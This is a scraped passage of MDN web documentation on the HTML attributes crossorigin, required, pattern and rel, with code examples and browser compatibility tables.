| Yes | ### html.elements.button.disabled BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data. ### html.elements.fieldset.disabled BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data. ### html.elements.input.disabled BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data. ### html.elements.optgroup.disabled BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data. ### html.elements.option.disabled BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data. ### html.elements.select.disabled BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data. ### html.elements.textarea.disabled BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data. See also -------- * [`:disabled`](https://developer.mozilla.org/en-US/docs/Web/CSS/:disabled) and [`:enabled`](https://developer.mozilla.org/en-US/docs/Web/CSS/:enabled)
programming_docs
html HTML attribute: crossorigin HTML attribute: crossorigin =========================== The `crossorigin` attribute, valid on the [`<audio>`](../element/audio), [`<img>`](../element/img), [`<link>`](../element/link), [`<script>`](../element/script), and [`<video>`](../element/video) elements, provides support for [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS), defining how the element handles cross-origin requests, thereby enabling the configuration of the CORS requests for the element's fetched data. Depending on the element, the attribute can be a CORS settings attribute. The `crossorigin` content attribute on media elements is a CORS settings attribute. These attributes are [enumerated](https://developer.mozilla.org/en-US/docs/Glossary/Enumerated), and have the following possible values: `anonymous` Request uses CORS headers and credentials flag is set to `'same-origin'`. There is no exchange of **user credentials** via cookies, client-side SSL certificates or HTTP authentication, unless destination is the same origin. `use-credentials` Request uses CORS headers, credentials flag is set to `'include'` and **user credentials** are always included. `""` Setting the attribute name to an empty value, like `crossorigin` or `crossorigin=""`, is the same as `anonymous`. An invalid keyword and an empty string will be handled as the `anonymous` keyword. By default (that is, when the attribute is not specified), CORS is not used at all. The user agent will not ask for permission for full access to the resource and in the case of a cross-origin request, certain limitations will be applied based on the type of element concerned: | Element | Restrictions | | --- | --- | | `img`, `audio`, `video` | When resource is placed in [`<canvas>`](../element/canvas), element is marked as [*tainted*](../cors_enabled_image#security_and_tainted_canvases). | | `script` | Access to error logging via [`window.onerror`](https://developer.mozilla.org/en-US/docs/Web/API/Window/error_event) will be limited. | | `link` | Request with no appropriate `crossorigin` header may be discarded. | **Note:** Prior to Firefox 83 the `crossorigin` attribute was not supported for `rel="icon"`. There is also [an open issue for Chrome](https://bugs.chromium.org/p/chromium/issues/detail?id=1121645). ### Example: `crossorigin` with the `<script>` element You can use the following [`<script>`](../element/script) element to tell a browser to execute the `https://example.com/example-framework.js` script without sending user-credentials. ``` <script src="https://example.com/example-framework.js" crossorigin="anonymous"></script> ``` ### Example: Web manifest with credentials The `use-credentials` value must be used when fetching a [manifest](https://developer.mozilla.org/en-US/docs/Web/Manifest) that requires credentials, even if the file is from the same origin. ``` <link rel="manifest" href="/app.webmanifest" crossorigin="use-credentials" /> ``` Specifications -------------- | Specification | | --- | | [HTML Standard # cors-settings-attributes](https://html.spec.whatwg.org/multipage/urls-and-fetching.html#cors-settings-attributes) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `crossorigin` | No | ≤18 | 74 12-74 With `crossorigin="use-credentials"`, cookies aren't sent during seek. See [bug 1532722](https://bugzil.la/1532722). | No | No | No | No | No | 79 14-79 With `crossorigin="use-credentials"`, cookies aren't sent during seek. See [bug 1532722](https://bugzil.la/1532722). | No | No | No | | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `crossorigin` | 30 | ≤18 | 13 | No | 12 | Yes The `crossorigin` attribute was implemented in WebKit in WebKit [bug 81438](https://webkit.org/b/81438). | Yes | Yes | 14 | No | No | Yes | | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `crossorigin` | 34 | 17 | 18 Before Firefox 83, `crossorigin` is not supported for `rel="icon"`. | No | 21 | 10 | 37 | 34 | 18 Before Firefox 83, `crossorigin` is not supported for `rel="icon"`. | 21 | 10 | 2.0 | | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `crossorigin` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | ### html.elements.img.crossorigin BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data. ### html.elements.link.crossorigin BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data. ### html.elements.script.crossorigin BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data. ### html.elements.video.crossorigin BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data. See also -------- * [Cross-Origin Resource Sharing (CORS)](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) * [HTML attribute: `rel`](rel) html HTML attribute: required HTML attribute: required ======================== The Boolean `required` attribute, if present, indicates that the user must specify a value for the input before the owning form can be submitted. The `required` attribute is supported by `[text](../element/input/text)`, `[search](../element/input/search)`, `[url](../element/input/url)`, `[tel](../element/input/tel)`, `[email](../element/input/email)`, `[password](../element/input/password)`, `[date](../element/input/date)`, `[month](../element/input/month)`, `[week](../element/input/week)`, `[time](../element/input/time)`, `[datetime-local](../element/input/datetime-local)`, `[number](../element/input/number)`, `[checkbox](../element/input/checkbox)`, `[radio](../element/input/radio)`, `[file](../element/input/file)`, [`<input>`](../element/input) types along with the [`<select>`](../element/select) and [`<textarea>`](../element/textarea) form control elements. If present on any of these input types and elements, the [`:required`](https://developer.mozilla.org/en-US/docs/Web/CSS/:required) pseudo class will match. If the attribute is not included, the [`:optional`](https://developer.mozilla.org/en-US/docs/Web/CSS/:optional) pseudo class will match. The attribute is not supported or relevant to [range](../element/input/range) and [color](../element/input/color), as both have default values. It is also not supported on [hidden](../element/input/hidden) as it can not be expected that a user to fill out a form that is hidden. Nor is it supported on any of the button types, including `image`. Note `color` and `range` don't support `required`, but type `color` defaults to `#000000`, and `range` defaults to the midpoint between `min` and `max` — with `min` and `max` defaulting to 0 and 100 respectively in most browsers if not declared — so always has a value. In the case of a same named group of [radio](../element/input/radio) buttons, if a single radio button in the group has the `required` attribute, a radio button in that group must be checked, although it doesn't have to be the one on which the attribute is applied. So to improve code maintenance, it is recommended to either include the `required` attribute in every same-named radio button in the group, or else in none. In the case of a same named group of [checkbox](../element/input/checkbox) input types, only the checkboxes with the `required` attribute are required. **Note:** Setting [`aria-required="true"`](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-required) tells a screen reader that an element (any element) is required, but has no bearing on the optionality of the element. ### Attribute interactions Because a read-only field cannot have a value, `required` does not have any effect on inputs with the [`readonly`](readonly) attribute also specified. ### Usability When including the `required` attribute, provide a visible indication near the control informing the user that the [`<input>`](../element/input), [`<select>`](../element/select) or [`<textarea>`](../element/textarea) is required. In addition, target required form controls with the [`:required`](https://developer.mozilla.org/en-US/docs/Web/CSS/:required) pseudo-class, styling them in a way to indicate they are required. This improves usability for sighted users. Assistive technology should inform the user that the form control is mandatory based on the required attribute, but adding `aria-required="true"` doesn't hurt, in case the browser / screen reader combination does not support `required` yet. ### Constraint validation If the element is required and the element's value is the empty string, then the element is suffering from [`valueMissing`](https://developer.mozilla.org/en-US/docs/Web/API/ValidityState/valueMissing) and the element will match the [`:invalid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:invalid) pseudo class. Accessibility concerns ---------------------- Provide an indication to users informing them the form control is required. Ensure the messaging is multi-faceted, such as through text, color, markings, and attribute, so that all users understand the requirements whether they have color blindness, cognitive differences, or are using a screen reader. Example ------- ### HTML ``` <form> <div class="group"> <input type="text" /> <label>Normal</label> </div> <div class="group"> <input type="text" required="required" /> <label>Required</label> </div> <input type="submit" /> </form> ``` ### Result Specifications -------------- **No specification found**No specification data found for `html.elements.attributes.required`. [Check for problems with this page](#on-github) or contribute a missing `spec_url` to [mdn/browser-compat-data](https://github.com/mdn/browser-compat-data). Also make sure the specification is included in [w3c/browser-specs](https://github.com/w3c/browser-specs). Browser compatibility --------------------- No compatibility data found for `html.elements.attributes.required`. [Check for problems with this page](#on-github) or contribute missing data to [mdn/browser-compat-data](https://github.com/mdn/browser-compat-data). See also -------- * [`validityState.valueMissing`](https://developer.mozilla.org/en-US/docs/Web/API/ValidityState/valueMissing) * [`:required`](https://developer.mozilla.org/en-US/docs/Web/CSS/:required) and [`:optional`](https://developer.mozilla.org/en-US/docs/Web/CSS/:optional) * [`<input>`](../element/input) * [`<select>`](../element/select) html HTML attribute: pattern HTML attribute: pattern ======================= The `pattern` attribute specifies a [regular expression](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions) the form control's value should match. If a non-`null` value doesn't conform to the constraints set by the `pattern` value, the [`ValidityState`](https://developer.mozilla.org/en-US/docs/Web/API/ValidityState) object's read-only [`patternMismatch`](https://developer.mozilla.org/en-US/docs/Web/API/ValidityState/patternMismatch) property will be true. Try it ------ Overview -------- The `pattern` attribute is an attribute of the [text](../element/input/text), [tel](../element/input/tel), [email](../element/input/email), [url](../element/input/url), [password](../element/input/password), and [search](../element/input/search) input types. The `pattern` attribute, when specified, is a regular expression which the input's [`value`](../global_attributes#value) must match in order for the value to pass [constraint validation](../constraint_validation). It must be a valid JavaScript regular expression, as used by the [`RegExp`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp) type, and as documented in our [guide on regular expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions); the `'u'` flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of Unicode code points, instead of as ASCII. No forward slashes should be specified around the pattern text. If the specified pattern is not specified or is invalid, no regular expression is applied and this attribute is ignored. **Note:** Use the [`title`](../element/input#attr-title) attribute to specify text that most browsers will display as a tooltip to explain what the requirements are to match the pattern. You **must not** rely on the tooltip alone for an explanation. See below for more information on usability. Some of the input types supporting the pattern attribute, notably the [email](../element/input/email) and [url](../element/input/url) input types, have expected value syntaxes that must be matched. If the pattern attribute isn't present, and the value doesn't match the expected syntax for that value type, the [`ValidityState`](https://developer.mozilla.org/en-US/docs/Web/API/ValidityState) object's read-only [`typeMismatch`](https://developer.mozilla.org/en-US/docs/Web/API/ValidityState/typeMismatch) property will be true. ### Usability When including a `pattern`, provide a description of the pattern in visible text near the control. Additionally, include a [`title`](../global_attributes/title) attribute which gives a description of the pattern. User agents may use the title contents during constraint validation to tell the user that the pattern is not matched. Some browsers show a tooltip with title contents, improving usability for sighted users. Additionally, assistive technology may read the title aloud when the control gains focus, but this should not be relied upon for accessibility. ### Constraint validation If the input's value is not the empty string and the value does not match the entire regular expression, there is a constraint violation reported by the [`ValidityState`](https://developer.mozilla.org/en-US/docs/Web/API/ValidityState) object's [`patternMismatch`](https://developer.mozilla.org/en-US/docs/Web/API/ValidityState/patternMismatch) property being `true`. The pattern's regular expression, when matched against the value, must have its start anchored to the start of the string and its end anchored to the end of the string, which is slightly different from JavaScript regular expressions: in the case of pattern attribute, we are matching against the entire value, not just any subset, as if a `^(?:` were implied at the start of the pattern and `)$` at the end. **Note:** If the `pattern` attribute is specified with no value, its value is implicitly the empty string. Thus, **any non-empty** input `value` will result in constraint violation. Examples -------- ### Matching a phone number Given the following: ``` <p> <label> Enter your phone number in the format (123) - 456 - 7890 (<input name="tel1" type="tel" pattern="[0-9]{3}" placeholder="###" aria-label="3-digit area code" size="2" />) - <input name="tel2" type="tel" pattern="[0-9]{3}" placeholder="###" aria-label="3-digit prefix" size="2" /> - <input name="tel3" type="tel" pattern="[0-9]{4}" placeholder="####" aria-label="4-digit number" size="3" /> </label> </p> ``` Here we have 3 sections for a north American phone number with an implicit label encompassing all three components of the phone number, expecting 3-digits, 3-digits and 4-digits respectively, as defined by the [`pattern`](pattern) attribute set on each. If the values are too long or too short, or contain characters that aren't digits, the patternMismatch will be true. When `true`, the element matches the [`:invalid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:invalid) CSS pseudo-classes. ``` input:invalid { border: red solid 3px; } ``` If we had used [`minlength`](minlength) and [`maxlength`](maxlength) attributes instead, we may have seen [`validityState.tooLong`](https://developer.mozilla.org/en-US/docs/Web/API/ValidityState/tooLong) or [`validityState.tooShort`](https://developer.mozilla.org/en-US/docs/Web/API/ValidityState/tooShort) being true. ### Specifying a pattern You can use the [`pattern`](../element/input#attr-pattern) attribute to specify a regular expression that the inputted value must match in order to be considered valid (see [Validating against a regular expression](https://developer.mozilla.org/en-US/docs/Learn/Forms/Form_validation#validating_against_a_regular_expression) for a simple crash course on using regular expressions to validate inputs). The example below restricts the value to 4-8 characters and requires that it contain only lower-case letters. ``` <form> <div> <label for="uname">Choose a username: </label> <input type="text" id="uname" name="name" required size="45" pattern="[a-z]{4,8}" title="4 to 8 lowercase letters" /> <span class="validity"></span> <p>Usernames must be lowercase and 4-8 characters in length.</p> </div> <div> <button>Submit</button> </div> </form> ``` This renders like so: ### Accessibility Concerns When a control has a `pattern` attribute, the `title` attribute, if used, must describe the pattern. Relying on the `title` attribute for the visual display of text content is generally discouraged as many user agents do not expose the attribute in an accessible manner. Some browsers show a tooltip when an element with a title is hovered, but that leaves out keyboard-only and touch-only users. This is one of the several reasons you must include information informing users how to fill out the control to match the requirements. While `title`s are used by some browsers to populate error messaging, because browsers sometimes also show the title as text on hover, it therefore shows in non-error situations, so be careful not to word titles as if an error has occurred. Specifications -------------- | Specification | | --- | | [HTML Standard # attr-input-pattern](https://html.spec.whatwg.org/multipage/input.html#attr-input-pattern) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `pattern` | 4 | 12 | 4 | 10 | ≤12.1 | 5 | ≤37 | 18 | 4 | ≤12.1 | 4 | 1.0 | See also -------- * [Constraint validation](../constraint_validation) * [Forms: Data form validation](https://developer.mozilla.org/en-US/docs/Learn/Forms/Form_validation) * [Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions) html HTML attribute: rel HTML attribute: rel =================== The `rel` attribute defines the relationship between a linked resource and the current document. Valid on [`<link>`](../element/link), [`<a>`](../element/a), [`<area>`](../element/area), and [`<form>`](../element/form), the supported values depend on the element on which the attribute is found. The type of relationships is given by the value of the `rel` attribute, which, if present, must have a value that is an unordered set of unique space-separated keywords. Differently from a `class` name, which does not express semantics, the `rel` attribute must express tokens that are semantically valid for both machines and humans. The current registries for the possible values of the `rel` attribute are the [IANA link relation registry](https://www.iana.org/assignments/link-relations/link-relations.xhtml), the [HTML Living Standard](https://html.spec.whatwg.org/multipage/links.html#linkTypes), and the freely-editable [existing-rel-values page](https://microformats.org/wiki/existing-rel-values) in the microformats wiki, [as suggested](https://html.spec.whatwg.org/multipage/links.html#other-link-types) by the Living Standard. If a `rel` attribute not present in one of the three sources above is used some HTML validators (such as the [W3C Markup Validation Service](https://validator.w3.org/)) will generate a warning. The following table lists some of the most important existing keywords. Every keyword within a space-separated value should be unique within that value. | `rel` value | Description | `[`<link>`](../element/link)` | `[`<a>`](../element/a)` and `[`<area>`](../element/area)` | `[`<form>`](../element/form)` | | --- | --- | --- | --- | --- | | [`alternate`](#attr-alternate) | Alternate representations of the current document. | Link | Link | Not allowed | | [`author`](#attr-author) | Author of the current document or article. | Link | Link | Not allowed | | [`bookmark`](#attr-bookmark) | Permalink for the nearest ancestor section. | Not allowed | Link | Not allowed | | [`canonical`](#attr-canonical) | Preferred URL for the current document. | Link | Not allowed | Not allowed | | [`dns-prefetch`](../link_types/dns-prefetch) | Tells the browser to preemptively perform DNS resolution for the target resource's origin | External Resource | Not allowed | Not allowed | | [`external`](#attr-external) | The referenced document is not part of the same site as the current document. | Not allowed | Annotation | Annotation | | [`help`](#attr-help) | Link to context-sensitive help. | Link | Link | Link | | [`icon`](#attr-icon) | An icon representing the current document. | External Resource | Not allowed | Not allowed | | [`license`](#attr-license) | Indicates that the main content of the current document is covered by the copyright license described by the referenced document. | Link | Link | Link | | [`manifest`](../link_types/manifest) | Web app manifest | Link | Not allowed | Not allowed | | [`me`](../link_types/me) | Indicates that the current document represents the person who owns the linked content | Link | Link | Not allowed | | [`modulepreload`](../link_types/modulepreload) | Tells to browser to preemptively fetch the script and store it in the document's module map for later evaluation. Optionally, the module's dependencies can be fetched as well. | External Resource | Not allowed | Not allowed | | [`next`](#attr-next) | Indicates that the current document is a part of a series and that the next document in the series is the referenced document. | Link | Link | Link | | [`nofollow`](#attr-nofollow) | Indicates that the current document's original author or publisher does not endorse the referenced document. | Not allowed | Annotation | Annotation | | [`noopener`](../link_types/noopener) | Creates a top-level browsing context that is not an auxiliary browsing context if the hyperlink would create either of those, to begin with (i.e., has an appropriate `target` attribute value). | Not allowed | Annotation | Annotation | | [`noreferrer`](#attr-noreferrer) | No `Referer` header will be included. Additionally, has the same effect as `noopener`. | Not allowed | Annotation | Annotation | | [`opener`](#attr-opener) | Creates an auxiliary browsing context if the hyperlink would otherwise create a top-level browsing context that is not an auxiliary browsing context (i.e., has "`_blank`" as `target` attribute value). | Not allowed | Annotation | Annotation | | [`pingback`](#attr-pingback) | Gives the address of the pingback server that handles pingbacks to the current document. | External Resource | Not allowed | Not allowed | | [`preconnect`](../link_types/preconnect) | Specifies that the user agent should preemptively connect to the target resource's origin. | External Resource | Not allowed | Not allowed | | [`prefetch`](../link_types/prefetch) | Specifies that the user agent should preemptively fetch and cache the target resource as it is likely to be required for a followup navigation. | External Resource | Not allowed | Not allowed | | [`preload`](../link_types/preload) | Specifies that the user agent must preemptively fetch and cache the target resource for current navigation according to the potential destination given by the [`as`](../element/link#attr-as) attribute (and the priority associated with the corresponding destination). | External Resource | Not allowed | Not allowed | | [`prerender`](../link_types/prerender) | Specifies that the user agent should preemptively fetch the target resource and process it in a way that helps deliver a faster response in the future. | External Resource | Not allowed | Not allowed | | [`prev`](#attr-prev) | Indicates that the current document is a part of a series and that the previous document in the series is the referenced document. | Link | Link | Link | | [`search`](#attr-search) | Gives a link to a resource that can be used to search through the current document and its related pages. | Link | Link | Link | | [`stylesheet`](#attr-stylesheet) | Imports a style sheet. | External Resource | Not allowed | Not allowed | | [`tag`](#attr-tag) | Gives a tag (identified by the given address) that applies to the current document. | Not allowed | Link | Not allowed | The `rel` attribute is relevant to the [`<link>`](../element/link), [`<a>`](../element/a), [`<area>`](../element/area), and [`<form>`](../element/form) elements, but some values only relevant to a subset of those elements. Like all HTML keyword attribute values, these values are case-insensitive. The `rel` attribute has no default value. If the attribute is omitted or if none of the values in the attribute are supported, then the document has no particular relationship with the destination resource other than there being a hyperlink between the two. In this case, on [`<link>`](../element/link) and [`<form>`](../element/form), if the `rel` attribute is absent, has no keywords, or if not one or more of the space-separated keywords above, then the element does not create any links. [`<a>`](../element/a) and [`<area>`](../element/area) will still created links, but without a defined relationship. Values ------ [**`alternate`**](#attr-alternate) Indicates an alternate representation of the current document. Valid for [`<link>`](../element/link), [`<a>`](../element/a), and [`<area>`](../element/area), the meaning depends on the values of the other attributes. * With the [`stylesheet`](#stylesheet) keyword on a `<link>`, it creates an alternate stylesheet. ``` <!-- a persistent style sheet --> <link rel="stylesheet" href="default.css" /> <!-- alternate style sheets --> <link rel="alternate stylesheet" href="highcontrast.css" title="High contrast" /> ``` * With an [`hreflang`](../element/link#attr-hreflang) attribute that differs from the document language, it indicates a translation. * With the [`type`](../element/link#attr-type) attribute, it indicates that the referenced document is the same content in a different format. For example, with `type="application/rss+xml"` it creates a hyperlink referencing a syndication feed. ``` <link rel="alternate" type="application/atom+xml" href="posts.xml" title="Blog" /> ``` * Both the [`hreflang`](../element/link#attr-hreflang) and [`type`](../element/link#attr-type) attributes specify links to versions of the document in an alternative format and language, intended for other media: ``` <link rel="alternate" href="/fr/html/print" hreflang="fr" type="text/html" media="print" title="French HTML (for printing)" /> <link rel="alternate" href="/fr/pdf" hreflang="fr" type="application/pdf" title="French PDF" /> ``` **Note:** The obsolete `rev="made"` is treated as `rel="alternate"` [**`author`**](#attr-author) Indicates the author of the current document or article. Relevant for [`<link>`](../element/link), [`<a>`](../element/a), and [`<area>`](../element/area) elements, the `author` keyword creates a hyperlink. With [`<a>`](../element/a) and [`<area>`](../element/area), it indicates the linked document (or `mailto:`) provides information about the author of the nearest [`<article>`](../element/article) ancestor if there is one, otherwise the entire document. For [`<link>`](../element/link), it represents the author of the entire document. [**`bookmark`**](#attr-bookmark) Relevant as the `rel` attribute value for the [`<a>`](../element/a) and [`<area>`](../element/area) elements, the bookmark provides a permalink for ancestor section, which is the nearest ancestor [`<article>`](../element/article) or [`<section>`](../element/section), if there is at least one, otherwise, the nearest heading sibling or ancestor descendant, to the next. [**`canonical`**](#attr-canonical) Valid for [`<link>`](../element/link), it defines the preferred URL for the current document, which is useful for search engines. [**`dns-prefetch`**](#attr-dns-prefetch) Relevant for the [`<link>`](../element/link) element both in the [`<body>`](../element/body) and [`<head>`](../element/head), it tells the browser to preemptively perform DNS resolution for the target resource's origin. Useful for resources the user will likely need, it helps reduce latency and thereby improves performance when the user does access the resources as the browser preemptively performed DNS resolution for the origin of the specified resource. See [dns-prefetch](https://developer.mozilla.org/en-US/docs/Web/Performance/dns-prefetch) described in [resource hints](https://w3c.github.io/resource-hints/). [**`external`**](#attr-external) Relevant to [`<form>`](../element/form), [`<a>`](../element/a), and [`<area>`](../element/area), it indicates the referenced document is not part of the current site. This can be used with attribute selectors to style external links in a way that indicates to the user that they will be leaving the current site. [**`help`**](#attr-help) Relevant to [`<form>`](../element/form), [`<link>`](../element/link), [`<a>`](../element/a), and [`<area>`](../element/area), the `help` keyword indicates that the linked to content provides context-sensitive help, providing information for the parent of the element defining the hyperlink, and its children. When used within `<link>`, the help is for the whole document. When included with [`<a>`](../element/a) and [`<area>`](../element/area) and supported, the default [`cursor`](https://developer.mozilla.org/en-US/docs/Web/CSS/cursor) will be `help` instead of `pointer`. [**`icon`**](#attr-icon) Valid with [`<link>`](../element/link), the linked resource represents the icon, a resource for representing the page in the user interface, for the current document. The most common use for the `icon` value is the favicon: ``` <link rel="icon" href="favicon.ico" /> ``` If there are multiple `<link rel="icon">`s, the browser uses their [`media`](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/media) attribute, [`type`](../element/link#attr-type), and [`sizes`](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/sizes) attributes to select the most appropriate icon. If several icons are equally appropriate, the last one is used. If the most appropriate icon is later found to be inappropriate, for example because it uses an unsupported format, the browser proceeds to the next-most appropriate, and so on. **Note:** Prior to Firefox 83 the <crossorigin> attribute was not supported for `rel="icon"` there is also [an open issue for Chrome](https://bugs.chromium.org/p/chromium/issues/detail?id=1121645). **Note:** Apple's iOS does not use this link type, nor the [`sizes`](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/sizes) attribute, like others mobile browsers do, to select a webpage icon for Web Clip or a start-up placeholder. Instead it uses the non-standard [`apple-touch-icon`](https://developer.apple.com/library/archive/documentation/AppleApplications/Reference/SafariWebContent/ConfiguringWebApplications/ConfiguringWebApplications.html#//apple_ref/doc/uid/TP40002051-CH3-SW4) and [`apple-touch-startup-image`](https://developer.apple.com/library/archive/documentation/AppleApplications/Reference/SafariWebContent/ConfiguringWebApplications/ConfiguringWebApplications.html#//apple_ref/doc/uid/TP40002051-CH3-SW6) respectively. **Note:** The `shortcut` link type is often seen before `icon`, but this link type is non-conforming, ignored and **web authors must not use it anymore**. [**`license`**](#attr-license) Valid on the [`<a>`](../element/a), [`<area>`](../element/area), [`<form>`](../element/form), [`<link>`](../element/link) elements, the `license` value indicates that the hyperlink leads to a document describing the licensing information; that the main content of the current document is covered by the copyright license described by the referenced document. If not inside the [`<head>`](../element/head) element, the standard doesn't distinguish between a hyperlink applying to a specific part of the document or to the document as a whole. Only the data on the page can indicate this. ``` <link rel="license" href="#license" /> ``` **Note:** Although recognized, the synonym `copyright` is incorrect and must be avoided. [**`manifest`**](#attr-manifest) [Web app manifest](https://developer.mozilla.org/en-US/docs/Web/Manifest). Requires the use of the CORS protocol for cross-origin fetching. [**`modulepreload`**](#attr-modulepreload) Useful for improved performance, and relevant to the [`<link>`](../element/link) anywhere in the document, setting `rel="modulepreload"` tells the browser to preemptively fetch the script (and dependencies) and store it in the document's module map for later evaluation. `modulepreload` links can ensure network fetching is done with the module ready (but not evaluated) in the module map before it is necessarily needed. See also [link types: `modulepreload`](../link_types/modulepreload). [**`next`**](#attr-next) Relevant to [`<form>`](../element/form), [`<link>`](../element/link), [`<a>`](../element/a), and [`<area>`](../element/area), the `next` values indicates that the current document is a part of a series, and that the next document in the series is the referenced document. When included in a `<link>`, browsers may assume that document will be fetched next, and treat it as a resource hint. [**`nofollow`**](#attr-nofollow) Relevant to [`<form>`](../element/form), [`<a>`](../element/a), and [`<area>`](../element/area), the `nofollow` keyword tells search engine spiders to ignore the link relationship. The nofollow relationship may indicate the current document's owner does not endorse the referenced document. It is often included by Search Engine Optimizers pretending their link farms are not spam pages. [**`noopener`**](#attr-noopener) Relevant to [`<form>`](../element/form), [`<a>`](../element/a), and [`<area>`](../element/area), creates a top-level browsing context that is not an auxiliary browsing context if the hyperlink would create either of those to begin with (i.e., has an appropriate `target` attribute value). In other words, it makes the link behave as if [`window.opener`](https://developer.mozilla.org/en-US/docs/Web/API/Window/opener) were null and `target="_parent"` were set. This is the opposite of [opener](#opener). [**`noreferrer`**](#attr-noreferrer) Relevant to [`<form>`](../element/form), [`<a>`](../element/a), and [`<area>`](../element/area), including this value makes the referrer unknown (no `Referer` header will be included), and creates a top-level browsing context as if `noopener` were also set. [**`opener`**](#attr-opener) Creates an auxiliary browsing context if the hyperlink would otherwise create a top-level browsing context that is not an auxiliary browsing context (i.e., has "`_blank`" as `target` attribute value). Effectively, the opposite of [noopener](#noopener). [**`pingback`**](#attr-pingback) Gives the address of the pingback server that handles pingbacks to the current document. [**`preconnect`**](#attr-preconnect) Specifies that the user agent should preemptively connect to the target resource's origin. [**`prefetch`**](#attr-prefetch) Specifies that the user agent should preemptively fetch and cache the target resource as it is likely to be required for a followup navigation. [**`preload`**](#attr-preload) Specifies that the user agent must preemptively fetch and cache the target resource for current navigation according to the potential destination given by the [`as`](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/as) attribute (and the priority associated with the corresponding destination). [**`prerender`**](#attr-prerender) Specifies that the user agent should preemptively fetch the target resource and process it in a way that helps deliver a faster response in the future. [**`prev`**](#attr-prev) Similar to the [next](#next) keyword, relevant to [`<form>`](../element/form), [`<link>`](../element/link), [`<a>`](../element/a), and [`<area>`](../element/area), the `prev` values indicates that the current document is a part of a series, and that the link references a previous document in the series is the referenced document. Note: The synonym `previous` is incorrect and should not be used. [**`search`**](#attr-search) Relevant to [`<form>`](../element/form), [`<link>`](../element/link), [`<a>`](../element/a), and [`<area>`](../element/area) elements, the `search` keywords indicates that the hyperlink references a document whose interface is specially designed for searching in the current document, site, and related resources, providing a link to a resource that can be used to search. If the [`type`](../element/link#attr-type) attribute is set to `application/opensearchdescription+xml` the resource is an [OpenSearch](https://developer.mozilla.org/en-US/docs/Web/OpenSearch) plugin that can be easily added to the interface of some browsers like Firefox or Internet Explorer. [**`stylesheet`**](#attr-stylesheet) Valid for the [`<link>`](../element/link) element, it imports an external resource to be used as a stylesheet. The [`type`](../element/link#attr-type) attribute is not needed as it's a `text/css` stylesheet, as that is the default value. If it's not a stylesheet of type `text/css` it is best to declare the type. While this attribute defines the link as being a stylesheet, the interaction with other attributes and other key terms within the rel value impact whether the stylesheet is downloaded and/or used. When used with the [alternate](#alternate) keyword, it defines an alternative style sheet. In this case, include a non-empty [`title`](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/type). The external stylesheet will not be used or even downloaded if the media does not match the value of the [`media`](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/media) attribute. Requires the use of the CORS protocol for cross-origin fetching. [**`tag`**](#attr-tag) Valid for the [`<a>`](../element/a), and [`<area>`](../element/area) elements, it gives a tag (identified by the given address) that applies to the current document. The tag value denotes that the link refers to a document describing a tag applying to the document on which it is located. This link type is not meant for tags within a tag cloud, as those tags apply to a group of pages, whereas the `tag` value of the `rel` attribute is for a single document. ### Non-standard values [**`apple-touch-icon`**](#attr-apple-touch-icon) Specifies the icon for a web application on an iOS device. Specifications -------------- | Specification | | --- | | [HTML Standard # linkTypes](https://html.spec.whatwg.org/multipage/links.html#linkTypes) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `rel` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | | `noopener` | 49 | 79 | 52 Before Firefox 63, `rel="noopener"` created windows with all features disabled by default. Starting with Firefox 63, these windows have the same features enabled by default as any other window. | No | 36 | 10.1 | 49 | 49 | 52 Before Firefox 63, `rel="noopener"` created windows with all features disabled by default. Starting with Firefox 63, these windows have the same features enabled by default as any other window. | 36 | 10.3 | 5.0 | | `noreferrer` | 16 | 13 | 33 | 11 Only supported in IE11 in later versions of Windows 10 (creators update). (Per caniuse.com.) | 15 | 5 | 3 | 18 | 33 | 14 | 